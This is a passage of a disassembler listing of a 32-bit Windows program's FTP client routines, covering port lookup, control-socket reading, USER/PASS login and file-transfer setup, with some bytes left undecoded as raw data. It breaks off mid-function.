		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44544068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh
		dd 83F08B90h, 0F33B08C4h, 38681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
		dd 54386824h, 3E80044h,	907780A4h, 5704C483h, 0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3DC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3DC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445230 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3DC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CE4
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h
		dd 0C4815B5Eh, 100h, 248C8BC3h,	114h, 0A5E85153h, 83FFFFF8h
		dd 5E5F08C4h, 0C4815Bh,	0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445504
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454FC ; jumptable 0042D351 case 1
		mov	dl, byte_445500
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454F4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454F8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454EC ; jumptable 0042D351 case 3
		mov	al, byte_4454F0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454E4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454E8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
